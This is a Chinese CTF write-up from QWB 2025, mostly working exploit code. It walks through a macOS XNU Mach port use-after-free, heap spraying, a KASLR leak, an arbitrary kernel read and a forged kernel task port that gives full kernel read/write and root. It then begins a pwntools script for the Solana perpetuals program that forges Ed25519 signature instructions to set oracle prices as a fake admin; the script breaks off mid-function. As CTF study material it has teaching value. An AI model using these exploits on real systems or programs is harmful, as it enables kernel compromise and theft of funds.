      kern_return_t kr = mach_msg(&msg.hdr, MACH_SEND_MSG, msg.hdr.msgh_size, 0,
                                  MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
      fprintf(stderr, "mach_msg returned: %s\n", mach_error_string(kr));
      pause(); // 如果没马上 panic，可保持进程存活观察
      return 0;
  }

发现创建的普通port只需要循环设置两次就没有了，但是仍然有用户态的name（理解为指针）指向这个“不存在的port”

于是尝试spray进行port风水的检查，发现可以稳定在一轮里spray后重新get这个name可以保证它success。

// clang -Wall -O2 -o poc poc.c
#include <mach/mach.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/mman.h>
#include <errno.h>
#include <sys/sysctl.h>


static mach_port_t make_port(void) {
    mach_port_t p = MACH_PORT_NULL;
    kern_return_t kr;

    kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p);
    if (kr != KERN_SUCCESS) {
        fprintf(stderr, "[-] alloc: %s\n", mach_error_string(kr));
        return MACH_PORT_NULL;
    }

    kr = mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND);
    if (kr != KERN_SUCCESS) {
        fprintf(stderr, "[-] insert: %s\n", mach_error_string(kr));
        return MACH_PORT_NULL;
    }
    // printf("[+] make_port -> name=%d\n", p);
    return p;
}

static int probe_port(const char *label, mach_port_t name) {
    natural_t type = 0;
    mach_vm_address_t addr = 0;
    kern_return_t kr;

    kr = mach_port_kobject(mach_task_self(), name, &type, &addr);

    printf("[*] probe %-12s: name=%d kr=%d (%s) type=%u kaddr=0x%llx\n",
           label, name, kr, mach_error_string(kr),
           type, (unsigned long long)addr);
    if (kr != KERN_SUCCESS) {
        return 0;
    }
    return 1; 
}

static void dump_port_limits(const char *label, mach_port_t name) {
    struct mach_port_limits limits;
    mach_msg_type_number_t count = MACH_PORT_LIMITS_INFO_COUNT;
    kern_return_t kr;

    kr = mach_port_get_attributes(mach_task_self(), name,
                                  MACH_PORT_LIMITS_INFO,
                                  (mach_port_info_t)&limits, &count);
    if (kr != KERN_SUCCESS) {
        printf("[*] limits %-12s: name=%d get_attributes -> %s\n",
               label, name, mach_error_string(kr));
        return;
    }
    printf("[*] limits %-12s: name=%d qlimit=%u\n",
           label, name, limits.mpl_qlimit);
}
__attribute__((noinline))
static void trigger_bad_access(void) {
    volatile int *p = (int *)0x0;
    *p = 0xdeadbeef;
}

#define SPRAY_MAX 0x6000
static mach_port_t spray_arr[SPRAY_MAX];
static size_t spray_cnt;
static mach_port_t uaf_port = MACH_PORT_NULL;
static int reuse_idx = -1;
static void *fake_port_page = NULL;
static uint64_t kernel_slide = 0;
static uint64_t k_ipc_space_kernel = 0;
static uint64_t k_kernel_task = 0;

#define UNSLID_REALHOST          0xffffff80008bddc0
#define UNSLID_IPC_SPACE_KERNEL  0xffffff80008bac80
#define UNSLID_KERNEL_TASK       0xffffff80008c5168


static size_t spray_with_make_port(size_t want) {
    if (want > SPRAY_MAX) want = SPRAY_MAX;
    size_t ok = 0;
    for (; ok < want; ok++) {
        mach_port_t p = make_port();
        if (p == MACH_PORT_NULL) {
            fprintf(stderr, "[-] make_port failed @%zu\n", ok);
            break;
        }
        spray_arr[ok] = p;
    }
    spray_cnt = ok;
    printf("[*] sprayed %zu ports\n", ok);
    return ok;
}

static void tag_spray_ports(void) {
    for (size_t i = 0; i < spray_cnt; i++) {
        mach_port_context_t ctx = 0x133700000000ULL | i;
        kern_return_t kr = mach_port_set_context(mach_task_self(), spray_arr[i], ctx);
        if (kr != KERN_SUCCESS) {
            fprintf(stderr, "[-] set_context %zu: %s\n", i, mach_error_string(kr));
        }
    }
}

static int detect_reuse_from_uaf(void) {
    mach_port_context_t ctx = 0;
    kern_return_t kr = mach_port_get_context(mach_task_self(), uaf_port, &ctx);
    if (kr != KERN_SUCCESS) {
        fprintf(stderr, "[-] get_context uaf: %s\n", mach_error_string(kr));
        return -1;
    }
    if ((ctx & 0xFFFF00000000ULL) == 0x133700000000ULL) {
        int idx = (int)(ctx & 0xFFFF);
        printf("[+] UAF chunk reused by spray_arr[%d] name=%d ctx=0x%llx\n",
               idx, spray_arr[idx], (unsigned long long)ctx);
        reuse_idx = idx;
        return idx;
    }
    printf("[-] no hit yet, ctx=0x%llx\n", (unsigned long long)ctx);
    return -1;
}


// 把命中的端口 free 掉，为后续 freelist 污染做准备
static void free_reused_port(void) {
    if (reuse_idx < 0) {
        puts("[-] reuse_idx not set");
        return;
    }
    kern_return_t kr = mach_port_destroy(mach_task_self(), spray_arr[reuse_idx]);
    printf("[*] destroy reused port name=%d -> %s\n", spray_arr[reuse_idx], mach_error_string(kr));
    spray_arr[reuse_idx] = MACH_PORT_NULL;
}

static void make_uaf_port(mach_port_t victim) {
    puts("[*] make_uaf_port");
    kern_return_t kr;
    probe_port("victim", victim);
    exception_mask_t mask = EXC_MASK_BAD_ACCESS;
    kr = task_set_exception_ports(mach_task_self(), mask, victim, EXCEPTION_DEFAULT, THREAD_STATE_NONE);
    printf("[*] 0. task_set_exception_ports() -> %s\n", mach_error_string(kr));
    for (int i = 0; i < 2; i++) {
        kr = task_set_exception_ports(mach_task_self(), mask, victim, EXCEPTION_DEFAULT, THREAD_STATE_NONE);
        printf("[*] %d. task_set_exception_ports() -> %s\n", i+1, mach_error_string(kr));
        probe_port("victim", victim);
    }
    puts("[*] done");
}
int main(void) {
    puts("[*] Stage 1: Create ports and trigger UAF");
    mach_port_t victim = make_port();
    if (victim == MACH_PORT_NULL) {
        printf("[-] make_port failed\n");
        return -1;
    }
    uaf_port = victim;
    make_uaf_port(victim);

    puts("[*] Stage 3: Spray and detect reuse");
    spray_with_make_port(0x3000);
    tag_spray_ports();
    detect_reuse_from_uaf();
    if (reuse_idx >= 0) {
    }
    return 0;
}

于是到这里也是稳定能够复用端口，可以看到reuse_idx这里能找到内容。

利用思路讲解

用户态有一个mach name，在内核里的进程控制块（linux的PCB）task port中，有一块空间用来做“从mach name到mach port内存“的映射

在进行两次解引用后，内核处理模块只处理了mach port 内存（因为内存这里已经没有io_reference，相当于不能用了），但是因为破坏了原来的逻辑，这里并不会对这个映射有影响。于是进入了这个状态

由于内存page分配原理（和buddy system差不多），这里如果这一个page都是空闲的，那么kalloc大概率会分到这一块page。所以这里我们用一个其他的内存中结构体（如IOSurface，sock_opt虽然还没有调通），进行大量kalloc和写入，就有机会把这一块内存占用，变成我们可读写的内存，如下：

在我们做到可读写这一块之后，我们构造一个恶意的task port结构体：它有pid = 0，全宇宙最高权限的task port ⇒ tfp0，刚好放在dangling pointer指向的地方，再用我们用户态的mach name进行操作时，内核会误认为它是一个天然存在的结构体，从而不拒绝执行对它的操作。

而后我们就有了内核任意读任意写原语：有了它你可以把我们本身的task结构体中权限修改成0→提权，可以关掉amfi，coretrust，…相当于关闭所有运行时 安全检查，这就是越狱。

可以看出，我们现在离真正提权还差了几步：1. 现代系统中一般都会对内核地址做随机化处理防止直接被使用。2. 怎么样保证写入进去的task port“刚刚好”落在我们需要的这篇区域上？3. 怎么样构造一个完美的tfp0？

KASLR→内核基址泄露

首先我们需要一些方法来泄露内核基址。卡了很久，最后在project zero里找到了一篇关于Safari的内核pwn题。

pwn4fun Spring 2014 - Safari - Part II

Posted by Ian Beer TL;DR An OS X GPU driver trusted a user-supplied kernel C++ object pointer and called a virtual function. The I...

从这里面找到了kaslr的泄露方法：

static kern_return_t slide_leak(void) {
    INFO("leaking kernel slide...");
    FILE *fp;
    char buf[512];
    uint64_t leaked_address = 0;
    fp = popen("ioreg -l | grep IOPlatformArgs", "r");
    if (!fp) {
        ERROR("popen failed");
        return KERN_FAILURE;
    }
    if (!fscanf(fp, "%*[^<]<%511[^>]>", buf)) {
        ERROR("parse_slide: fgets failed");
        pclose(fp);
        return KERN_FAILURE;
    }
    pclose(fp);
    char reversed[17] = {0};
    for (int i = 0; i < 8; i++) {
        reversed[i*2]   = buf[14 - i*2];
        reversed[i*2+1] = buf[15 - i*2];
    }
    leaked_address = strtoull(reversed, NULL, 16);
    slide = leaked_address - UNSLID_DT_ADDR;
    SUCCESS("calculated kernel slide: 0x%llx", (ull)slide);
    SUCCESS("kernel base: 0x%llx", (ull)(KERNEL_BASE) + slide);
    return KERN_SUCCESS;
}

需要改下启动参数关掉kaslr拿下原来的基址之外都非常简单。

💡

后面出题人给我的思路是用clock泄露，参考：

Voucher, Port and Message: Exploit CVE-2019-6225 on macOS | xia0o0o0o

this routine simply swaps two vouchers. Let’s take a look at the following codes.

于是这一步也解决了。

💡

这里只是第一步的kaslr，在内核地址返回用户态的过程中还进行了一次加密：

__int64 __fastcall buf_kernel_addrperm_addr(__int64 a1)
{
  if ( a1 )
    return buf_kernel_addrperm + a1;
  else
    return 0;
}

这里的buf_kernel_addrperm是在启动初期生成的key：

/*
	 * Initialize the global used for permuting kernel
	 * addresses that may be exported to userland as tokens
	 * using VM_KERNEL_ADDRPERM(). Force the random number
	 * to be odd to avoid mapping a non-zero
	 * word-aligned address to zero via addition.
	 */
	vm_kernel_addrperm = (vm_offset_t)early_random() | 1;
	buf_kernel_addrperm = (vm_offset_t)early_random() | 1;

大概是生成一个32bit的随机数并且地位强制转换为1（这样可以避免对齐）

不过因为我们已经leak了slide所以这里非常简单

找一个已知的→比如REAL_HOST，拿到它的kobject 地址，和kernel文件里的比一比，再减去slide，就是实际的addrperm了。实现如下（码丑勿喷

mach_port_t clk = MACH_PORT_NULL;
KR(host_get_clock_service(mach_host_self(), CALENDAR_CLOCK, &clk));
mach_vm_address_t clk_addr = 0,host_self_addr = 0;
natural_t type = 0;
KR(mach_port_kobject(mach_task_self(), mach_host_self(), &type, &host_self_addr));  // addr = REAL_HOST + slide + addrpem
SUCCESS("realhost kobject addr: 0x%llx", (ull)host_self_addr);
addrpem = host_self_addr - REAL_HOST - slide;
KR(mach_port_kobject(mach_task_self(), clk, &type, &clk_addr)); // clk_addr = CLOCK_LIST_PORT + slide + addrpem + id * ? // id = 1
SUCCESS("clock port kobject addr: 0x%llx", (ull)clk_addr);
    
SUCCESS("calculated addrpem: 0x%llx", (ull)addrpem);
SUCCESS("calculated clock port offset (should be small): 0x%llx", (ull)(clk_addr - CLOCK_LIST_PORT - slide - addrpem));

某块区域内存写入→ 堆风水 → tfp0

好了这里给了两个提示，第一个对应我们说的IOSurface写入过程，第二个给我们提供了新条件。

同样经过一番搜索可以搜到360的技术博客

IPC Voucher UaF Remote Jailbreak Stage 2

分享奇虎360公司的技术，与安全的互联网共同成长。

在iOS的内核里, 不同的内核对象隔离在不同的zone, 这意味着即使ipc voucher对象释放了,这个对象不是真正的释放,只是放到对应的zone的free list,我们也只可能重新分配一个ipc voucher去填充.但是一般的UaF的漏洞我们都是需要转换成Type Confusion去利用,也就是我们需要分配一个不同的内核对象去填充这个释放的ipc voucher内存区域,在这里我们需要手动触发内核的zone gc, 把对应的page释放掉.

这里也是一样的，我们需要申请至少一个page的mach port，取其中一个来作为我们的fake port，其他的都删除，并且要把page释放掉。 有意思的一点是，在10.9 并没有禁用mach_zone_force_gc ，这很方便。

第一步流程是，申请很多个machport，然后选一个进行uaf，剩下的destroy掉，然后gc。

直接给代码，没什么好讲的

static kern_return_t make_port_uaf(mach_port_t port) {
    INFO("making port uaf...");
    exception_mask_t mask = EXC_MASK_BAD_ACCESS;
    KR(task_set_exception_ports(mach_task_self(), mask, port,
                                  EXCEPTION_DEFAULT, THREAD_STATE_NONE)); // set => send right +1 => 2 => io_ref - 1 = 1

    kern_return_t kr = detect_port(port);
    int times = 0;
    while(kr == KERN_SUCCESS) {
        KR(task_set_exception_ports(mach_task_self(), mask, port,
                                  EXCEPTION_DEFAULT, THREAD_STATE_NONE)); // set again => (n) send right keep => 2 , io_ref -1 => 0
        times++;
        INFO("uaf attempt %d", times);
        kr = detect_port(port); // should succeed
    }
    INFO("kr=%s", mach_error_string(kr));
    INFO("port is uafed after %d attempts", times);
    return KERN_SUCCESS;
error:
    return KERN_FAILURE;
}
static mach_port_t make_port(void) {
    mach_port_t p = MACH_PORT_NULL;
    KR(mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p));
    KR(mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND));
    return p;
error:
    return MACH_PORT_NULL;
}


static kern_return_t make_victim(void) {
    INFO("make victim ports...");
    for(int i=0;i<NUM_BEFORE;i++) {
        before_port[i] = make_port();
        EQ(before_port[i], MACH_PORT_NULL);
    }
    victim_port = make_port();
    EQ(victim_port, MACH_PORT_NULL);
    for(int i=0;i<NUM_AFTER;i++) {
        after_port[i] = make_port();
        EQ(after_port[i], MACH_PORT_NULL);
    }
    return KERN_SUCCESS;
error:
    return KERN_FAILURE;
} 
static kern_return_t gc(void) {
    INFO("Free ports");
    for(int i=0;i<NUM_BEFORE;i++) {
        RELEASE_PORT(before_port[i]);
    }
    for(int i=0;i<NUM_AFTER;i++) {
        RELEASE_PORT(after_port[i]);
    }
#if __MAC_OS_X_VERSION_MIN_REQUIRED <= 1090
    INFO("triggering garbage collection...");
    KR(mach_zone_force_gc(mach_host_self()));
#else
    INFO("skipping garbage collection (not supported on this OS version)...");
#endif
    return KERN_SUCCESS;
error:
    return KERN_FAILURE;
}

接下来是写入：

换一篇博客

voucher_swap: Exploiting MIG reference counting in iOS 12

Posted by Brandon Azad, Project Zero In this post I'll describe how I discovered and exploited CVE-2019-6225 , a MIG reference counting...

看眼xnu代码可以知道，创建了pipe之后，在尝试读取或者写入时，会创建和写入一样大的一片buffer区域，用的kalloc。那么如果

于是可以看看第二篇文章的写法

From zero to tfp0 - Part 2: A Walkthrough of the voucher_swap exploit

In this article, we will get an in-depth look at the voucher_swap vulnerability and all the steps leading up to getting the kernel task port.

直接去voucher_swap里抄代码就好了。

需要注意的是他们用的是kalloc.16384这块，我们需要改成kalloc.4096，大概流程：

    pipe_buffer_size = 4096; // make it to kalloc.4096
    size_t pipe_count = 16 * MB / pipe_buffer_size;
    increase_file_limit();
    int *pipefds_array = create_pipes(&pipe_count);
    INFO("created %zu pipes", pipe_count);
    pipe_buffer = calloc(1, pipe_buffer_size);
    EQ(pipe_buffer, NULL);
    bzero(pipe_buffer, pipe_buffer_size);
    size_t pipes_filled = pipe_spray(pipefds_array, pipe_count, pipe_buffer, pipe_buffer_size, NULL );
    INFO("filled %zu pipes", pipes_filled);

然后做检测：

KR(mach_port_set_context(mach_task_self(), victim, 0x41414141));
INFO("try locate which page");
    int pipe_idx = -1;
    int context_location = -1;
    for(size_t i=0;i<pipes_filled;i++) {
        ssize_t n = read(pipefds_array[2*i], pipe_buffer, pipe_buffer_size);
        if(n < 0) {
            ERROR("read pipe %zu failed", i);
            continue;
        }
        uint32_t *p = (uint32_t *)pipe_buffer;
        for(size_t j=0;j<(pipe_buffer_size/4);j++) {
            if(p[j] == 0x41414141) {
                SUCCESS("found in pipe %zu at offset 0x%zx", i, j*4);
                pipe_idx = (int)i;
                context_location = (int)(j*4);
                break;
            }
        }
        if(pipe_idx != -1) break;
    }
    EQ(pipe_idx, -1);
    EQ(context_location, -1);
    INFO("found victim port in pipe %d at offset 0x%x", pipe_idx, context_location);

这里做完如果找到了，我们就获得了一个完全可控的port，同时也可以找到offset context，然后倒推出port开始地址的offset。

需要注意，pipe是写入后才能读取的，所以构建一套machport写快捷操作：

void read_prim() {
    INFO("reading mach port...");
    ssize_t n = read(rpipe, pipe_buffer, pipe_buffer_size);
    EQ(n, -1);
    INFO("read success");
    return;
error:
    ERROR("read failed in read_mach_port");
    return;
}
void write_prim() {
    ssize_t n = write(wpipe, pipe_buffer, pipe_buffer_size);
    EQ(n, -1);
    INFO("write success");
    return;
error:
    ERROR("write failed in write_mach_port");
    return;
}
void edit_mach_port(size_t offset, void(^update)(kport_t *fakeport)) {
    read_prim();
    kport_t *port = (kport_t *)((uint8_t *)pipe_buffer + offset);
    if(update!=NULL) {
        update(port);
    }
    write_prim();
    return;
}
void read_mach_port(size_t offset, kport_t *outport) {
    read_prim();
    kport_t *port = (kport_t *)((uint8_t *)pipe_buffer + offset);
    if(outport != NULL) {
        memcpy(outport, port, sizeof(kport_t));
    }
    write_prim();
    return;
}
void edit_proc_task(size_t offset, void(^update)(ktask_t *task)) {
    read_prim();
    kport_t *port = (kport_t *)((uint8_t *)pipe_buffer + offset);
    if(update!=NULL) {
        update(port);
    }
    write_prim();
    return;
}

现在先来拿一下port地址，可以用mach_port_request_notification，把某个port注册到我们port的结构体上。然后由于我们port是可以直接获取内容的，这里就可以把addr拿到了。

KR(mach_port_request_notification(mach_task_self(), victim, MACH_NOTIFY_PORT_DESTROYED, 0, victim, MACH_MSG_TYPE_MAKE_SEND_ONCE, &notify));
read_mach_port(offset, &readback);
uint64_t victim_addr = readback.ip_pdrequest;

下面我们把这个pipe扩展到任意读。貌似做法挺多的，可以用pid_for_task读，也可以用其他方法。

v0rtex

Siguza’s Blog

这里我们参考v0rtex的实现方式，在mach_port_get_attributes使用MACH_PORT_DNREQUESTS_SIZE时，会读取ipc_port->ip_request->name.size 。由于默认的request结构体已知，我们可以把ip_request指向我们可控的context，然后解引用时会解到context指向的地址，于是有了

typedef volatile struct {
    union {
        uint64_t port;
        uint64_t index;
    } notify;
    union {
        uint64_t name;
        uint64_t size;
    } name;
} kport_request_t;
kport_request_t kreq = {
        .notify =
        {
            .port = 0,
        }
    };
    edit_mach_port(offset, ^(kport_t *fakeport){
        fakeport->ip_bits = IO_BITS_ACTIVE | IKOT_TASK;
        fakeport->ip_references = 0x100;
        fakeport->ip_messages.qlimit = MACH_PORT_QLIMIT_KERNEL;
        fakeport->ip_messages.msgcount = 0;
        fakeport->ip_srights = 0x10;
        fakeport->ip_context = 0;
        fakeport->ip_requests = victim_addr + offsetof(kport_t, ip_context) 
                                            - offsetof(kport_request_t, name.size); 
    });
    
#define KREAD(addr, out, size)                                                                                                              \
do {                                                                                                                                        \
    for(size_t i=0;i<((size) + sizeof(uint32_t) - 1) / sizeof(uint32_t); i++) {                                                             \
        KR(mach_port_set_context(mach_task_self(), victim, addr + i * sizeof(uint32_t)));                                                   \
        mach_msg_type_number_t outsz = 1;                                                                                                   \
        KR(mach_port_get_attributes(mach_task_self(), victim, MACH_PORT_DNREQUESTS_SIZE, (mach_port_info_t)((uint32_t*)(out)+i), &outsz));  \
    }                                                                                                                                       \
} while(0)

获得到了任意读，可控machport。下一步我们需要找的是kernel_task。这里也可以直接走内核符号拿，但是我写了一个不走符号的做法，先读取当前task的地址，然后链表往前走可以枚举所有proc。

uint64_t struct_task = 0; // task kobject.
    natural_t type = 0;
    mach_port_kobject(mach_task_self(), mach_task_self(), &type, &struct_task); 
    uint64_t self_proc = 0;
    struct_task -= addrpem;
    SUCCESS("self task kobject addr: 0x%llx", (ull)struct_task);
    self_proc = struct_task;
    uint64_t kernel_vm_map = 0;
    EQ(struct_task, 0);
    while (struct_task != 0) {
        uint64_t bsd_info;
        KREAD(struct_task + BSD_INFO_OFFSET, &bsd_info, sizeof(bsd_info));
        EQ(bsd_info, 0);
        SUCCESS("found next bsd_info: 0x%llx", (ull)bsd_info);
        uint32_t pid;
        KREAD(bsd_info + PROC_PID_OFFSET, &pid, sizeof(pid));
        SUCCESS("found pid: %u", pid);
        if (pid == 0) {
            uint64_t vm_map;
            KREAD(struct_task + VM_MAP_OFFSET, &vm_map, sizeof(vm_map));
            EQ(vm_map, 0);
            SUCCESS("found kernel_vm_map: 0x%llx", (ull)vm_map);
            kernel_vm_map = vm_map;
            break;
        }
        KREAD(struct_task + TASK_PREV_STRUCT, &struct_task, sizeof(struct_task));
    }

本来想了好久应该怎么构造fakeport。但是后面看到思路说直接memcpy就好了，那为什么不呢

void *kernel_task_port_dump = malloc(0x100);
    void *kernel_task_dump = malloc(0x200);
    uint64_t kernel_task_addr = 0;
    KREAD(KERNEL_TASK + slide, &kernel_task_addr, sizeof(kernel_task_addr));
    SUCCESS("kernel_task_addr: 0x%llx", (ull)kernel_task_addr);
    
    uint64_t kernel_itk_self = 0;
    KREAD(kernel_task_addr + ITK_SELF, &kernel_itk_self, sizeof(kernel_itk_self));
    SUCCESS("kernel_itk_self: 0x%llx", (ull)kernel_itk_self);
    
    uint64_t fake_task_offset = 0;
    if(offset > 0x500) { // if task port is in later of buffer, we create task at front
        fake_task_offset = 0;
    } else {
        fake_task_offset = pipe_buffer_size - 0x200; // else create at end of buffer
    }
    INFO("fake task offset: 0x%llx", (ull)fake_task_offset);

    KREAD(kernel_task_addr, kernel_task_dump, 0x200);
    SUCCESS("dumped kernel task struct");
    
    
    KREAD(kernel_itk_self, kernel_task_port_dump, 0x100);
    SUCCESS("dumped kernel task port struct");

edit_proc_task(fake_task_offset, ^(ktask_t *task) {
        memcpy(task, kernel_task_dump, 0x200);
        task->map = kernel_vm_map;
    });

edit_mach_port(offset, ^(kport_t *fakeport){
        bzero(fakeport, sizeof(kport_t));
        memcpy(fakeport, kernel_task_port_dump, 0x100);
        fakeport->ip_kobject = buffer_start_address + fake_task_offset;
    });
    SUCCESS("faKe tfp0 ready!");

才知道c也有这种lambda类型的函数，不得不说还挺好用的。

接下来就拿到krw了，后面改改cred就行，不写实现了

可以给更高权限的原语：

static mach_port_t tfpzero;

void init_kernel_memory(mach_port_t tfp0) {
    tfpzero = tfp0;
}

uint64_t kalloc(vm_size_t size) {
    mach_vm_address_t address = 0;
    mach_vm_allocate(tfpzero, (mach_vm_address_t *)&address, size, VM_FLAGS_ANYWHERE);
    return address;
}

void kfree(mach_vm_address_t address, vm_size_t size) {
    mach_vm_deallocate(tfpzero, address, size);
}

size_t kread(uint64_t where, void *p, size_t size) {
    int rv;
    size_t offset = 0;
    while (offset < size) {
        mach_vm_size_t sz, chunk = 2048;
        if (chunk > size - offset) {
            chunk = size - offset;
        }
        rv = mach_vm_read_overwrite(tfpzero, where + offset, chunk, (mach_vm_address_t)p + offset, &sz);
        if (rv || sz == 0) {
            printf("[-] error on kread(0x%016llx)\n", where);
            break;
        }
        offset += sz;
    }
    return offset;
}

size_t kwrite(uint64_t where, const void *p, size_t size) {
    int rv;
    size_t offset = 0;
    while (offset < size) {
        size_t chunk = 2048;
        if (chunk > size - offset) {
            chunk = size - offset;
        }
        rv = mach_vm_write(tfpzero, where + offset, (mach_vm_offset_t)p + offset, (int)chunk);
        if (rv) {
            printf("[-] error on kwrite(0x%016llx)\n", where);
            break;
        }
        offset += chunk;
    }
    return offset;
}
void wk32(uint64_t where, uint32_t what) {
    uint32_t _what = what;
    kwrite(where, &_what, sizeof(uint32_t));
}


void wk64(uint64_t where, uint64_t what) {
    uint64_t _what = what;
    kwrite(where, &_what, sizeof(uint64_t));
}
uint32_t rk32(uint64_t where) {
    uint32_t out;
    kread(where, &out, sizeof(uint32_t));
    return out;
}

uint64_t rk64(uint64_t where) {
    uint64_t out;
    kread(where, &out, sizeof(uint64_t));
    return out;
}

		init_kernel_memory(victim);
    INFO("testing kr/w...");
    
    uint64_t addr = kalloc(8);
    INFO("allocated kernel memory at 0x%llx", (ull)addr);
    EQ(addr, 0);
    wk64(addr, 0x4141414141414141);
    uint64_t readb = rk64(addr);
    kfree(addr, 8);
    printf("[*] read back: 0x%llx\n", readb);
    NEQ(readb, 0x4141414141414141);
    SUCCESS("kr/w test passed!");

于是成功通关。下面是在当前进程的bsdinfo里把ruid改成0，就能直接提权了。

完整代码：

qwb 2025 nostalic real wp

qwb 2025 nostalic real wp · GitHub

？好像也没有玩，第一天坐飞机，晚上在火车站旁边吃了顿达美乐（？然后打车去酒店。好烦，坐车晕了

第二天比赛，坐牢，第三天比赛坐牢，然后晚上飞机回家。

Realworld

perpetual

要去找solana-labs/perpetuals的0day。看了眼好像archive了没有维护。

神秘codex直接给漏洞找出来了，，

于是搓脚本调利用，，最后简单背包一下就行。

from pwn import *
import json
import struct
import sys
import time
import urllib.request
from solders.pubkey import Pubkey
from solders.keypair import Keypair
from solders.instruction import Instruction, AccountMeta
from solders.system_program import ID as SYS_PROGRAM_ID
from solders.sysvar import INSTRUCTIONS as SYSVAR_INSTRUCTIONS_ID
# import subprocess
# print = lambda *a, **k: None
# p = subprocess.Popen(["orb", "./challege_server"],stderr=subprocess.PIPE, stdout=subprocess.PIPE)
# time.sleep(1)
context.log_level = "error"

STATIC_PHASE_PARAMS = {
    # 示例（你运行后自己改）：
    0: {"p1": 1_000_000_000, "e1": -5,
        "p2": 1_000_000_000, "e2": -7,
        "safety": 0.5, "cap": 5_000_000,
        "mode": "m1_to_m2"},
}

ED25519_PROGRAM_ID = Pubkey.from_string("Ed25519SigVerify111111111111111111111111111")
SPL_TOKEN_ID = Pubkey.from_string("TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA")
SPL_ASSOCIATED_TOKEN_ID = Pubkey.from_string("ATokenGPvbdGVxr1b2hvZbsiqW5xWH25efTNsLJA8knL")

IX_SET_CUSTOM_ORACLE_PRICE = bytes([0xef, 0x2b, 0x41, 0x94, 0xe1, 0x85, 0x6d, 0x9c])
IX_SWAP = bytes([0xf8, 0xc6, 0x9e, 0x91, 0xe1, 0x75, 0x87, 0xc8])

R1_DECIMALS = 9
R2_DECIMALS = 6

class SolanaClient:
    def __init__(self, host, port):
        self.host = host
        self.port = port
        self.r = remote(host, port)

    def close(self):
        self.r.close()

    def reconnect(self):
        self.close()
        self.r = remote(self.host, self.port)
        self.read_banner_key("Player:")
        self.read_banner_key("Admin:")
        self.read_banner_key("Mint1:")
        self.read_banner_key("Mint2:")

    def read_banner_key(self, prefix):
        self.r.recvuntil(prefix.encode())
        line = self.r.recvline().strip().decode()
        return Pubkey.from_string(line.strip())

    def send_transaction(self, ixs):
        self.r.recvuntil(b"num instructions:")
        self.r.sendline(str(len(ixs)).encode())
        for ix in ixs:
            self.send_instruction(ix)

    def send_instruction(self, ix):
        self.r.recvuntil(b"program:")
        self.r.sendline(str(ix.program_id).encode())

        self.r.recvuntil(b"num accounts:")
        self.r.sendline(str(len(ix.accounts)).encode())

        for acc in ix.accounts:
            tag = "w" if acc.is_writable else "r"
            if acc.is_signer:
                tag += "s"
            self.r.sendline(f"{tag} {acc.pubkey}".encode())

        self.r.recvuntil(b"ix len:")
        self.r.sendline(str(len(ix.data)).encode())
        self.r.send(ix.data)

def get_associated_token_address(owner, mint):
    return Pubkey.find_program_address(
        [bytes(owner), bytes(SPL_TOKEN_ID), bytes(mint)],
        SPL_ASSOCIATED_TOKEN_ID
    )[0]

def serialize_params(custody, price, expo, conf, ema, publish_time):
    return (
        bytes(custody) +
        struct.pack("<Q", price) +
        struct.pack("<i", expo) +
        struct.pack("<Q", conf) +
        struct.pack("<Q", ema) +
        struct.pack("<q", publish_time)
    )

def forge_ed25519_pair(admin_pubkey: Pubkey, params_bytes: bytes, attacker_keypair: Keypair):
    """
    构造两个 Ed25519 指令：
      fake_ix - 给 perpetuals 的漏洞代码使用（读取固定 offset 的 pubkey/msg）
      real_ix - 给 Ed25519 程序真正验证（签名者为攻击者）
    """
    msg = params_bytes

    # 转换成真正的 bytes
    sig = bytes(attacker_keypair.sign_message(msg))        # Signature -> bytes
    attacker_pubkey_bytes = bytes(attacker_keypair.pubkey())
    admin_pubkey_bytes = bytes(admin_pubkey)

    # ================
    #   real_ix
    # ================
    # 为真验证准备 offsets
    sig_offset = 16
    pk_offset = sig_offset + len(sig)              # 16 + 64 = 80
    msg_offset = pk_offset + len(attacker_pubkey_bytes)   # 80 + 32 = 112

    real_data = bytearray()

    # header
    real_data.append(1)     # num_signatures
    real_data.append(0)     # padding

    # 描述块（14 bytes）
    real_data.extend(struct.pack("<H", sig_offset))       # signature offset
    real_data.extend(struct.pack("<H", 0xFFFF))           # signature_instruction_index (self)
    real_data.extend(struct.pack("<H", pk_offset))        # pubkey offset
    real_data.extend(struct.pack("<H", 0xFFFF))           # pubkey_instruction_index (self)
    real_data.extend(struct.pack("<H", msg_offset))       # msg offset
    real_data.extend(struct.pack("<H", len(msg)))         # msg length
    real_data.extend(struct.pack("<H", 0xFFFF))           # message_instruction_index (self)

    # 拼接真实签名 | attacker_pubkey | msg
    real_data.extend(sig)
    real_data.extend(attacker_pubkey_bytes)
    real_data.extend(msg)

    real_ix = Instruction(ED25519_PROGRAM_ID, bytes(real_data), [])

    # ================
    #   fake_ix
    # ================
    fake_len = msg_offset + len(msg)
    if fake_len < 112 + len(msg):
        fake_len = 112 + len(msg)

    fake_data = bytearray(fake_len)

    fake_data[0] = 1
    fake_data[1] = 0

    # 指向 real_ix（索引=1）
    struct.pack_into("<H", fake_data, 2, sig_offset)
    struct.pack_into("<H", fake_data, 4, 1)

    struct.pack_into("<H", fake_data, 6, pk_offset)
    struct.pack_into("<H", fake_data, 8, 1)

    struct.pack_into("<H", fake_data, 10, msg_offset)
    struct.pack_into("<H", fake_data, 12, len(msg))
    struct.pack_into("<H", fake_data, 14, 1)

    # perpetuals 会用固定 slice 取这里的数据
    fake_data[16:48] = admin_pubkey_bytes
    fake_data[112:112 + len(msg)] = msg

    fake_ix = Instruction(ED25519_PROGRAM_ID, bytes(fake_data), [])

    return fake_ix, real_ix

# -------------------------------------------------------------------------
# Custody Limit 计算
# -------------------------------------------------------------------------

def compute_safe_amount_in(
    free_out_tokens,
    dec_in, dec_out,
    price_in, expo_in,
    price_out, expo_out,
    safety
):
    if free_out_tokens <= 0:
        return 0

    free_out_lamports = free_out_tokens * (10 ** dec_out)
    P_in = price_in * (10 ** expo_in)
    P_out = price_out * (10 ** expo_out)
    if P_in <= 0 or P_out <= 0:
        return 0

    scale = 10 ** (dec_in - dec_out)
    max_in = free_out_lamports * (P_out / P_in) * scale
    max_in *= safety

    if max_in > 2**63 - 1:
        max_in = 2**63 - 1
